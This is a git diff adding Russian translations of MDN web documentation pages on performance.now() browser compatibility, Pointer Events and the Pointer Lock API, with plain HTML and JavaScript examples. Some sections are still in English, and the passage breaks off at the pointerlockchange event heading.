+   <td>{{ CompatChrome("20.0") }} {{ property_prefix("webkit") }}<br>
+    {{ CompatChrome("24.0") }} [1]</td>
+   <td>{{ CompatGeckoDesktop("15.0") }}</td>
+   <td>10.0</td>
+   <td>{{ CompatOpera("15.0") }}</td>
+   <td>{{ CompatSafari("8.0") }}</td>
+  </tr>
+  <tr>
+   <td>on Web workers</td>
+   <td>{{CompatChrome("33")}}</td>
+   <td>{{ CompatGeckoDesktop("34.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatAndroid("4.0") }}</td>
+   <td>{{ CompatChrome("25.0") }}</td>
+   <td>{{ CompatGeckoMobile("15.0") }}</td>
+   <td>10.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>on Web workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("34.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Версии Chrome от 20 до 33 под Windows, на момент написания этого документа, возвращает <code>performance.now()</code> с точностью только до миллисекунд.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://updates.html5rocks.com/2012/08/When-milliseconds-are-not-enough-performance-now" title="http://updates.html5rocks.com/2012/08/When-milliseconds-are-not-enough-performance-now">When milliseconds are not enough: performance.now() </a>от HTML5 Rocks.</li>
+</ul>
diff --git a/files/ru/web/api/pointer_events/index.html b/files/ru/web/api/pointer_events/index.html
new file mode 100644
index 0000000000..4108763c30
--- /dev/null
+++ b/files/ru/web/api/pointer_events/index.html
@@ -0,0 +1,504 @@
+---
+title: События указателя
+slug: Web/API/Pointer_events
+translation_of: Web/API/Pointer_events
+---
+<p>{{DefaultAPISidebar("Pointer Events")}}</p>
+
+<p>Бо́льшая часть современного веб-контента предполагает, что указывающим устройством пользователя является мышь. Но поскольку многие устройства поддерживают другие типы указателей, таких как перо/стилус или сенсорная поверхность, возникает необходимость в расширении существующих событий указывающих устройств. Эту потребность удовлетворяют <em><a href="#term_pointer_event">События указателя</a></em>.</p>
+
+<p>События указателя – это события DOM, которые вызываются для указывающего устройства. Они предназначены для создания единой модели обработки действий мыши, пера/стилуса или касания (одним или несколькими пальцами).</p>
+
+<p><em><a href="#term_pointer">Указывающее устройство</a> – </em>это устройство, способное нацеливаться на определённый набор координат экрана. Наличие единой модели событий для указывающих устройств позволяет разработчикам проще создавать веб-сайты и приложения, а пользователям обеспечивает удобство использования вне зависимости от устройства.</p>
+
+<p>События, необходимые для обработки общего ввода указывающих устройств, аналогичны {{domxref("MouseEvent","событиям мыши")}} (<code>mousedown</code>/<code>pointerdown</code>, <code>mousemove</code>/<code>pointermove</code>, и так далее.). Следовательно, типы событий указывающих устройтв намеренно похожи на события мыши.</p>
+
+<p>В дополнение к обычным свойствам, представленным и в событиях мыши (координаты, целевой элемент, состояния кнопок и так далее) события ввода у разных указывающих устройств содержат и уникальные свойства: степень давления, форма области контакта, наклон и так далее. На самом деле, интерфейс {{domxref("PointerEvent")}} наследует все свойства {{domxref("MouseEvent")}}, облегчая так образом перенос содержимого из событий мыши в события указывающего устройства.</p>
+
+<h2 id="Терминология">Терминология</h2>
+
+<dl>
+ <dt>Cостояние активных кнопок</dt>
+ <dd>Ситуация, когда <em><a href="#term_pointer">указывающее устройство</a> </em>имеет ненулевое значение свойства <code>buttons</code>. Например, в случае с пером, это ситуация, когда перо физически контактирует с сенсорной поверхностью. или хотя бы одна кнопка нажата при наведении курсора.</dd>
+ <dt>Активное указывающее устройство</dt>
+ <dd>Любое <em><a href="#term_pointer">указывающее</a></em> устройство ввода, которое может производить события. Указывающее устройство считается активным, пока может производить события. Например, перо, которым консулись экрана, считается активным, поскольку может производить дополнительные события при поднятии или перемещении.</dd>
+ <dt id="term_digitizer">Графический планшет (диджитайзер)</dt>
+ <dd>Устройство с чувствительным покрытием, которое может фиксировать контакт. Чаще всего, это устройство с сенсорным экраном, который может распознавать касания указывающего устройства, такого как перо, стилус или палец. Некоторые сенсорные устройства могут определять приближение указателя и представлять это состояние как наведение мыши.</dd>
+ <dt id="term_hit_test">Тест попадания (hit test)</dt>
+ <dd>Процесс, который браузер использует при определении целевого элемента для события указывающего устройства. Обычно заключается в сопоставлении позиции указателя и визуальной области элементов на экране.</dd>
+ <dt id="term_pointer">Указатель (указывающее устройство)</dt>
+ <dd>Представление устройства ввода, которое может нацеливаться на определённую координату (или набор координат) на экране. Примером указателя может быть мышь, перо/стилус и прикосновение.</dd>
+ <dt>Захват указателя</dt>
+ <dd>Захват указателя позволяет событиям этого указателя быть перенаправленными на элемент, отличный обычного результата проверки попадания (hit test)</dd>
+ <dt id="term_pointer_event">Событие указателя</dt>
+ <dd>{{domxref("PointerEvent","Событие")}} DOM , вызванное для <em><a href="#term_pointer">указателя</a></em>.</dd>
+</dl>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<p>Основным интерфейсом является {{domxref("PointerEvent")}}, который имеет {{domxref("PointerEvent.PointerEvent","constructor")}} плюс несколько типов событий и связанные с ними глобальные обработчики событий.</p>
+
+<p>Стандарт также включает некоторые расширения для интерфейсов {{domxref("Element")}} и {{domxref("Navigator")}}.</p>
+
+<p>Следующие подразделы содержат краткое описание каждого интерфейса и свойства.</p>
+
+<h3 id="Интерфейс_PointerEvent">Интерфейс PointerEvent</h3>
+
+<p>Интерфейс {{domxref("PointerEvent")}} расширяет интерфейс {{domxref("MouseEvent")}} и имеет следующие свойства. Все следующие свойства доступны {{readonlyInline}}.</p>
+
+<dl>
+ <dt>{{ domxref('PointerEvent.pointerId','pointerId')}}</dt>
+ <dd>Уникальный идентификатор указателя, вызвавшего событие</dd>
+ <dt>{{ domxref('PointerEvent.width','width')}}</dt>
+ <dd>Ширина (величина по оси X) в пикселях CSS области контакта указателя с сенсорной поверхностью.</dd>
+ <dt>{{ domxref('PointerEvent.height','height')}}</dt>
+ <dd>Высота (величина по оси Y) в пикселях CSS области контакта указателя с сенсорной поверхностью.</dd>
+ <dt>{{ domxref('PointerEvent.pressure','pressure')}}</dt>
+ <dd>Степень давления указателя в диапазоне от <code>0</code> до <code>1</code>, где <code>0</code> – минимальное, а <code>1</code> – максимальное значение давления, которое способно обработать устройство.</dd>
+ <dt>{{ domxref('PointerEvent.tangentialPressure','tangentialPressure')}}</dt>
+ <dd>Степень тангенциального давления в диапазоне от <code>0</code> до <code>1</code>, где <code>0</code> – минимальное, а <code>1</code> – максимальное значение давления, которое способно обработать устройство..</dd>
+ <dt>{{ domxref('PointerEvent.tiltX','tiltX')}}</dt>
+ <dd>Угол (в градуса, в диапазоне от <code>-90</code> до <code>90</code>) между плоскостью Y-Z и плоскостью, содержащей как ось указателя (например, пера\стилуса), так и ось Y</dd>
+ <dt>{{ domxref('PointerEvent.tiltY','tiltY')}}</dt>
+ <dd>Угол (в градуса, в диапазоне от <code>-90</code> до <code>90</code>) между плоскостью X-Z и плоскостью, содержащей как ось указателя (например, пера\стилуса), так и ось X</dd>
+ <dt>{{ domxref('PointerEvent.twist','twist')}}</dt>
+ <dd>Поворот указывающего устройства (например, пера или стилуса) по часовой стрелке вокруг основной оси в градусах в диапазоне от<code> </code>0 до <code>359</code></dd>
+ <dt>{{ domxref('PointerEvent.pointerType','pointerType')}}</dt>
+ <dd>Указывает на тип устройства, которое вызвало событие (мышь, перо, касание и т.д)</dd>
+ <dt>{{ domxref('PointerEvent.isPrimary','isPrimary')}}</dt>
+ <dd>Указывает, является ли указывающее устройство основным для данного типа</dd>
+</dl>
+
+<h3 id="Типы_событий_и_Глобальные_Обработчики_Событий">Типы событий и Глобальные Обработчики Событий</h3>
+
+<p>События указателя имеют 10 типов, 7 из которых похожи на аналогичные события мыши (<code>down</code>, <code>up</code>, <code>move</code>, <code>over</code>, <code>out</code>, <code>enter</code> и <code>leave</code>).</p>
+
+<p>Ниже представлено короткое описание для каждого типа события и связанный {{domxref("GlobalEventHandlers","Глобальный обработчик события")}}.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Событие</th>
+   <th scope="col">Обработчик события</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{event('pointerover')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointerover','onpointerover')}}</td>
+   <td>Вызывается, когда указатель появляется в пределах элемента (его <a href="#term_hit_test">теста попадания</a>).</td>
+  </tr>
+  <tr>
+   <td>{{event('pointerenter')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointerenter','onpointerenter')}}</td>
+   <td>Вызывается, когда указатель перемещается в пределы элемента (его <a href="#term_hit_test">теста попадания</a>) или одного из его потомков, в том числе в результате события <code>pointerdown</code> с устройства, которе не поддерживает наведение "hover" (смотрите <code>pointerdown</code>).</td>
+  </tr>
+  <tr>
+   <td>{{event('pointerdown')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointerdown','onpointerdown')}}</td>
+   <td>Вызывается, когда указатель принимает состояние активных кнопок.</td>
+  </tr>
+  <tr>
+   <td>{{event('pointermove')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointermove','onpointermove')}}</td>
+   <td>Вызывается, когда изменяются координаты указателя. Это событие также используется, если изменение состояния указателя нельзя сообщить с помощью других событий.</td>
+  </tr>
+  <tr>
+   <td>{{event('pointerup')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointerup','onpointerup')}}</td>
+   <td>Вызывается, когда указатель теряет состояние <em>активных кнопок</em>.</td>
+  </tr>
+  <tr>
+   <td>{{event('pointercancel')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointercancel','onpointercancel')}}</td>
+   <td>Браузер вызывает это событие, если приходит к выводу, что указывающее устройство больше не сможет генерировать события (например, если устройство деактивировано).</td>
+  </tr>
+  <tr>
+   <td>{{event('pointerout')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointerout','onpointerout')}}</td>
+   <td>Вызывается по нескольким причинам, в том числе: когда указывающее устройство перемещается за пределы элемента (его <a href="#term_hit_test">теста попадания</a>); запуск события <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">pointerup</span></font> для устройства, которое не поддерживает наведение "hover"; после запуска события <code>pointercancel</code>; когда перо покидает область обнаружения планшетом наведения указателя.</td>
+  </tr>
+  <tr>
+   <td>{{event('pointerleave')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointerleave','onpointerleave')}}</td>
+   <td>Вызывается, когда указывающее устройство перемещается за пределы элемента (его <a href="#term_hit_test">теста попадания</a>). Для устройств, подобных перу, это событие вызывается, когда перо покидает область обнаружения планшетом наведения указателя.</td>
+  </tr>
+  <tr>
+   <td>{{event('gotpointercapture')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ongotpointercapture','ongotpointercapture')}}</td>
+   <td>Вызывается, когда элемент получает захват указывающего устройства.</td>
+  </tr>
+  <tr>
+   <td>{{event('lostpointercapture')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onlostpointercapture','onlostpointercapture')}}</td>
+   <td>Запускается после того, как указывающее устройство потеряло захват.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Расширения_элемента">Расширения элемента</h3>
+
+<p>Существует три расширения интерфейса {{domxref("Element")}}:</p>
+
+<dl>
+ <dt>{{domxref("Element.setPointerCapture()","setPointerCapture()")}}</dt>
+ <dd>Определяет определённый элемент в качестве цели захвата для будущих событий указателя.</dd>
+ <dt>{{domxref("Element.releasePointerCapture()","releasePointerCapture()")}}</dt>
+ <dd>Этот метод освобождает (прекращает) захватывание указывающим устройством, которое ранее было установлено для определённого события указателя.</dd>
+</dl>
+
+<h3 id="Расширение_навигатора">Расширение навигатора</h3>
+
+<p>Свойство {{domxref("Navigator.maxTouchPoints")}} используется для определения максимального количества одновременных точек касания, которые поддерживаются в каждый момент времени.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Этот раздел содержит примеры базового использования интерфейсов событий указывающего устройства.</p>
+
+<h3 id="Назначение_обработчиков_событий">Назначение обработчиков событий</h3>
+
+<p>В этом примере определённому элементу назначаются обработчики каждого типа события.</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+  &lt;script&gt;
+    function over_handler(event) { }
+    function enter_handler(event) { }
+    function down_handler(event) { }
+    function move_handler(event) { }
+    function up_handler(event) { }
+    function cancel_handler(event) { }
+    function out_handler(event) { }
+    function leave_handler(event) { }
+    function gotcapture_handler(event) { }
+    function lostcapture_handler(event) { }
+
+    function init() {
+      var el=document.getElementById("target");
+      // Register pointer event handlers
+      el.onpointerover = over_handler;
+      el.onpointerenter = enter_handler;
+      el.onpointerdown = down_handler;
+      el.onpointermove = move_handler;
+      el.onpointerup = up_handler;
+      el.onpointercancel = cancel_handler;
+      el.onpointerout = out_handler;
+      el.onpointerleave = leave_handler;
+      el.gotpointercapture = gotcapture_handler;
+      el.lostpointercapture = lostcapture_handler;
+    }
+  &lt;/script&gt;
+  &lt;body onload="init();"&gt;
+    &lt;div id="target"&gt; Touch me ... &lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Свойства_события">Свойства события</h3>
+
+<p>Этот пример демонстрирует доступ ко всем свойствам события касания.</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+  &lt;script&gt;
+    var id = -1;
+
+    function process_id(event) {
+      // Обработка этого события на основе идентификатора события
+    }
+    function process_mouse(event) {
+      // Обработка события мыши
+    }
+    function process_pen(event) {
+      // Обработка события пера
+    }
+    function process_touch(event) {
+      // Обработка события касания
+    }
+    function process_tilt(tiltX, tiltY) {
+      // Обработчик данных наклона
+    }
+    function process_pressure(pressure) {
+      // Обработчик давления
+    }
+    function process_non_primary(event) {
+      // Не основной обработчик
+    }
+
+    function down_handler(ev) {
+      // Вычислить область контакта точки касания
+      var area = ev.width * ev.height;
+
+      // Сравнить сохранённый ID с ID данного события и соответствующим образом обработать
+      if (id == ev.identifier) process_id(ev);
+
+      // Вызвать обработчик нужного типа указателя
+      switch (ev.pointerType) {
+        case "mouse":
+          process_mouse(ev);
+          break;
+        case "pen":
+          process_pen(ev);
+          break;
+        case "touch":
+          process_touch(ev);
+          break;
+        default:
+          console.log("pointerType " + ev.pointerType + " is Not suported");
+      }
+
+      // Вызвать обработчик наклона
+      if (ev.tiltX != 0 &amp;&amp; ev.tiltY != 0) process_tilt(ev.tiltX, ev.tiltY);
+
+      // Вызвать обработчик давления
+      process_pressure(ev.pressure);
+
+      // Если это события не является основным, то вызвать не основной обработчик
+      if (!ev.isPrimary) process_non_primary(ev);
+    }
+
+    function init() {
+      var el=document.getElementById("target");
+      // Назначение обработчика события "pointerdown"
+      el.onpointerdown = down_handler;
+    }
+  &lt;/script&gt;
+  &lt;body onload="init();"&gt;
+    &lt;div id="target"&gt; Touch me ... &lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Определение_Основного_Указателя">Определение Основного Указателя</h2>
+
+<p>В некоторых сценариях может быть несколько указывающих устройств (например, устройство с сенсорным экраном и мышкой) или указывающее устройство, поддерживающее несколько контактных точек (например, сенсорный экран, который поддерживает касания несколькими пальцами). Приложение может использовать свойство {{domxref("PointerEvent.isPrimary","isPrimary")}} для определения главного указателя среди набора активных точек каждого указателя. Если будет решено поддерживать только основной указатель, в приложении можно игнорировать все события указателя, не являющегося главным.</p>
+
+<p>У мышки может только один указатель, поэтому он всегда будет главным. Для сенсорного ввода указатель считается главным, если при этом нет других активных касаний. Для ввода пером или стилусом, указатель считается главным, если при этом нет касаний другими перьями.</p>
+
+<h2 id="Определение_состояний_кнопок">Определение состояний кнопок</h2>
+
+<p>Некоторые указывающие устройства, такие как мышь или перо, поддерживают несколько кнопок, и эти кнопки могут нажиматься одновременно. Например, нажатие кнопки, когда другая кнопка на устройстве уже нажата.</p>
+
+<p>Для определения состояния нажатия кнопки, события указателя используют свойства {{domxref("MouseEvent.button","button")}} и {{domxref("MouseEvent.buttons","buttons")}} интерфейса {{domxref("MouseEvent")}}, от которого наследуется от{{domxref("PointerEvent")}}.</p>
+
+<p>В следующей таблице приведены значения <code>button</code> и <code>buttons</code> для различных состояний кнопок устройства.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Состояние кнопок устройства</th>
+   <th scope="col">button</th>
+   <th scope="col">buttons</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>С последнего события не было ни нажатия кнопок, ни касания пера</td>
+   <td><code>-1</code></td>
+   <td>—</td>
+  </tr>
+  <tr>
+   <td>Мышь перемещается без нажатых кнопок.<br>
+    Перо перемещается над планшетом в режиме "hover" без нажатых кнопок</td>
+   <td>—</td>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <td>Левая кнопка мыши, Касание пальцем, Касание пером</td>
+   <td><code>0</code></td>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <td>Средняя кнопка мыши</td>
+   <td><code>1</code></td>
+   <td><code>4</code></td>
+  </tr>
+  <tr>
+   <td>Правая кнопка мыши, Кнопка пера</td>
+   <td><code>2</code></td>
+   <td><code>2</code></td>
+  </tr>
+  <tr>
+   <td>Кнопка мыши X1 (назад)</td>
+   <td><code>3</code></td>
+   <td><code>8</code></td>
+  </tr>
+  <tr>
+   <td>Кнопка мыши X2 (вперёд)</td>
+   <td><code>4</code></td>
+   <td><code>16</code></td>
+  </tr>
+  <tr>
+   <td>Кнопка пера "ластик"</td>
+   <td><code>5</code></td>
+   <td><code>32</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Свойство <code>button</code> указывает на изменение состояния кнопки. Однако, как и в случае с касанием, когда одно событие влечёт за собой ещё несколько событий, все они имеют одинаковое значение.</p>
+</div>
+
+<h2 id="Pointer_capture">Pointer capture</h2>
+
+<p>Pointer capture allows events for a particular {{domxref("PointerEvent","pointer event")}} to be re-targeted to a particular element instead of the normal <a href="#term_hit_test">hit test</a> at a pointer's location. This can be used to ensure that an element continues to receive pointer events even if the pointer device's contact moves off the element (for example by scrolling).</p>
+
+<p>The following example shows pointer capture being set on an element.</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+&lt;script&gt;
+  function downHandler(ev) {
+    let el = document.getElementById("target");
+    // Element 'target' will receive/capture further events
+    el.setPointerCapture(ev.pointerId);
+  }
+
+  function init() {
+    let el = document.getElementById("target");
+    el.onpointerdown = downHandler;
+  }
+&lt;/script&gt;
+&lt;body onload="init();"&gt;
+  &lt;div id="target"&gt; Touch me ... &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>The following example shows a pointer capture being released (when a {{event("pointercancel")}} event occurs. The browser does this automatically when a {{event("pointerup")}} or {{event("pointercancel")}} event occurs.</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+  &lt;script&gt;
+    function downHandler(ev) {
+      let el = document.getElementById("target");
+      // Element "target" will receive/capture further events
+      el.setPointerCapture(ev.pointerId);
+    }
+
+    function cancelHandler(ev) {
+      let el = document.getElementById("target");
+      // Release the pointer capture
+      el.releasePointerCapture(ev.pointerId);
+    }
+
+    function init() {
+      let el = document.getElementById("target");
+      // Register pointerdown and pointercancel handlers
+      el.onpointerdown = downHandler;
+      el.onpointercancel = cancelHandler;
+    }
+  &lt;/script&gt;
+  &lt;body onload="init();"&gt;
+    &lt;div id="target"&gt; Touch me ... &lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="touch-action_CSS_property">touch-action CSS property</h2>
+
+<p>The {{cssxref("touch-action")}} CSS property is used to specify whether or not the browser should apply its default (<em>native</em>) touch behavior (such as zooming or panning) to a region. This property may be applied to all elements except: non-replaced inline elements, table rows, row groups, table columns, and column groups.</p>
+
+<p>A value of <code>auto</code> means the browser is free to apply its default touch behavior (to the specified region) and the value of <code>none</code> disables the browser's default touch behavior for the region. The values <code>pan-x</code> and <code>pan-y</code>, mean that touches that begin on the specified region are only for horizontal and vertical scrolling, respectively. The value <code>manipulation</code> means the browser may consider touches that begin on the element are only for scrolling and zooming.</p>
+
+<p>In the following example, the browser's default touch behavior is disabled for the <code>div</code> element.</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+  &lt;body&gt;
+    &lt;div style="touch-action:none;"&gt;Can't touch this ... &lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>In the following example, default touch behavior is disabled for some <code>button</code> elements.</p>
+
+<pre class="brush: css notranslate">button#tiny {
+  touch-action: none;
+}
+</pre>
+
+<p>In the following example, when the <code>target</code> element is touched, it will only pan in the horizontal direction.</p>
+
+<pre class="brush: css notranslate">#target {
+  touch-action: pan-x;
+}
+</pre>
+
+<h2 id="Compatibility_with_mouse_events">Compatibility with mouse events</h2>
+
+<p>Although the pointer event interfaces enable applications to create enhanced user experiences on pointer enabled devices, the reality is the vast majority of today's web content is designed to only work with mouse input. Consequently, even if a browser supports pointer events, the browser must still process mouse events so content that assumes mouse-only input will work as is without direct modification. Ideally, a pointer enabled application does not need to explicitly handle mouse input. However, because the browser must process mouse events, there may be some compatibility issues that need to be handled. This section contains information about pointer event and mouse event interaction and the ramifications for application developers.</p>
+
+<p>The browser <em>may map generic pointer input to mouse events for compatibility with mouse-based content</em>. This mapping of events is called <em>compatibility mouse events</em>. Authors can prevent the production of certain compatibility mouse events by canceling the pointerdown event but note that:</p>
+
+<ul>
+ <li>Mouse events can only be prevented when the pointer is down.</li>
+ <li>Hovering pointers (e.g. a mouse with no buttons pressed) cannot have their mouse events prevented.</li>
+ <li>The <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code>, and <code>mouseleave</code> events are never prevented (even if the pointer is down).</li>
+</ul>
+
+<h2 id="Best_practices">Best practices</h2>
+
+<p>Here are some <em>best practices</em> to consider when using pointer events:</p>
+
+<ul>
+ <li>Minimize the amount of work performed in event handlers.</li>
+ <li>Add the event handlers to a specific target element (rather than the entire document or nodes higher up in the document tree).</li>
+ <li>The target element (node) should be large enough to accommodate the largest contact surface area (typically a finger touch). If the target area is too small, touching it could result in firing other events for adjacent elements.</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Pointer Events 3')}}</td>
+   <td>{{Spec2('Pointer Events 3')}}</td>
+   <td>Added new APIs for <code>getCoalescedEvent</code> and <code>getPredictedEvents</code>, new <code>pointerrawupdate</code> event, additional <code>touch-action</code> property values <code>pan-left</code>, <code>pan-right</code>, <code>pan-up</code>, <code>pan-down</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events 2')}}</td>
+   <td>{{Spec2('Pointer Events 2')}}</td>
+   <td>Adds <code>hasPointerCapture</code> method and clarifies more edge cases and dynamic scenarios. </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events')}}</td>
+   <td>{{Spec2('Pointer Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility"><span>Browser compatibility</span></h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.PointerEvent")}}</p>
+
+<p>Some new values have been defined for the {{cssxref("touch-action", "CSS touch-action")}} property as part of the {{SpecName('Pointer Events 3')}} specification but currently those new values have limited implementation support.</p>
+
+<h2 id="Demos_and_examples">Demos and examples</h2>
+
+<ul>
+ <li><a href="http://patrickhlauke.github.io/touch/">Touch/pointer tests and demos (by Patrick H. Lauke)</a></li>
+</ul>
+
+<h2 id="Community">Community</h2>
+
+<ul>
+ <li><a href="https://github.com/w3c/pointerevents">Pointer Events Working Group</a></li>
+ <li><a href="http://lists.w3.org/Archives/Public/public-pointer-events/">Mail list</a></li>
+ <li><a href="irc://irc.w3.org:6667/">W3C #pointerevents IRC channel</a></li>
+</ul>
+
+<h2 id="Related_topics_and_resources">Related topics and resources</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/touch-events/">Touch Events Standard</a></li>
+</ul>
diff --git a/files/ru/web/api/pointer_lock_api/index.html b/files/ru/web/api/pointer_lock_api/index.html
new file mode 100644
index 0000000000..7c70e8f15b
--- /dev/null
+++ b/files/ru/web/api/pointer_lock_api/index.html
@@ -0,0 +1,325 @@
+---
+title: Pointer Lock API
+slug: Web/API/Pointer_Lock_API
+translation_of: Web/API/Pointer_Lock_API
+---
+<p><span class="seoSummary"><strong>Pointer lock</strong> <strong>API</strong>(прежнее название Mouse Lock API) </span><span style="line-height: 1.5;">обеспечивает методы ввода, основанные на движении мыши , а не только абсолютно позиционированых координатах курсора </span><span style="line-height: 1.5;">в окне. Это дает вам доступ к необработанным движениям мыши, прикрепляет курсор мыши к любому элементу </span><span style="line-height: 1.5;">в окне браузера</span><span style="line-height: 1.5;">, предоставляет возможность вычислять координаты мыши не ограниченной областью окна проекции, и скрывает курсор из поля зрения. Это идеальное решение для 3D игр, например.</span></p>
+
+<p>Более того, API полезно для любых приложений, которые используют данные мыши для управления движениями, вращения обьектов и изменения записей. Например пользователь может управлять наклоном просто двигая мышь, не нажимая ни на какие кнопки. Сами кнопки освобождаются под другие задачи. Примерами могут послужить  программы для просмотра карт или спутниковой съемки.</p>
+
+<p>Блокировка указателя позволяет вам получить доступ к данным мыши, даже если курсор ушел за границы экрана или браузера. Например, ваши пользователи могут продолжать вращать или управлять 3D моделью движением мыши бесконечно. Без блокировки вращение или управление останавливается, как только курсор достигает края браузера или экрана. Геймеры теперь могут нажимать кнопки и водить курсором взад и вперед, не боясь покинуть игровое поле и случайно переключится на другое приложение.</p>
+
+<h2 id="basics" name="basics">Основные концепции</h2>
+
+<p>Pointer lock is related to <a href="/en/DOM/element.setCapture" title="element.setCapture">mouse capture</a>. Mouse capture provides continued delivery of events to a target element while a mouse is being dragged, but it stops when the mouse button is released. Pointer lock is different from mouse capture in the following ways:</p>
+
+<ul>
+ <li>It is persistent: Pointer lock does not release the mouse until an explicit API call is made or the user uses a specific release gesture.</li>
+ <li>It is not limited by browser or screen boundaries.</li>
+ <li>It continues to send events regardless of mouse button state.</li>
+ <li>It hides the cursor.</li>
+</ul>
+
+<h2 id="method_overview" name="method_overview">Обзор методов/свойств</h2>
+
+<p>Этот раздел содержит краткое описание каждого свойства и метода, связанного со спецификацией блокировки указателя.</p>
+
+<h3 id="requestPointerLock()">requestPointerLock()</h3>
+
+<p>The Pointer lock API, similar to the <a href="/en-US/docs/Web/Guide/API/DOM/Using_full_screen_mode">Fullscreen API</a>, extends DOM elements by adding a new method, {{domxref("Element.requestPointerLock","requestPointerLock")}}, which is vendor-prefixed for now. You would currently declare it something like this, for example if you wanted to request pointer lock on a <code>canvas</code> element.:</p>
+
+<pre class="brush: js">canvas.requestPointerLock = canvas.requestPointerLock ||
+                            canvas.mozRequestPointerLock ||
+                            canvas.webkitRequestPointerLock;
+
+canvas.requestPointerLock()
+</pre>
+
+<h3 id="pointerLockElement_and_exitPointerLock()">pointerLockElement and exitPointerLock()</h3>
+
+<p>The Pointer lock API also extends the {{domxref("Document")}} interface, adding both a new property and a new method. The new property is used for accessing the currently locked element (if any), and is named {{domxref("Document.pointerLockElement","pointerLockElement")}}, which is vendor-prefixed for now. The new method on {{domxref("Document")}} is {{domxref("Document.exitPointerLock","exitPointerLock")}} and, as the name implies, it is used to exit Pointer lock.</p>
+
+<p>The {{domxref("Document.pointerLockElement","pointerLockElement")}} property is useful for determining if any element is currently pointer locked (e.g., for doing a boolean check) and also for obtaining a reference to the locked element, if any.</p>
+
+<p>Here is an example of using <code>pointerLockElement</code>:</p>
+
+<pre class="brush: js"><span class="idlInterface" id="idl-def-MouseLockable"><span class="idlInterface" id="idl-def-MouseLockable">if(document.pointerLockElement === canvas ||
+  document.mozPointerLockElement === canvas ||
+  document.webkitPointerLockElement === canvas) {
+    console.log('The pointer lock status is now locked');
+} else {
+    console.log('The pointer lock status is now unlocked');
+}</span></span></pre>
+
+<p>The {{domxref("Document.exitPointerLock")}} method is used to exit pointer lock, and like {{domxref("Element.requestPointerLock","requestPointerLock")}}, works asynchronously using the {{event("pointerlockchange")}} and {{event("pointerlockerror")}} events, which you'll see more about below.</p>
+
+<pre class="brush: js">document.exitPointerLock = document.exitPointerLock    ||
+                           document.mozExitPointerLock ||
+                           document.webkitExitPointerLock;
+
+// Attempt to unlock
+document.exitPointerLock();
+</pre>
+
+<h2 id="mouselocklostevent" name="mouselocklostevent">pointerlockchange event</h2>
+
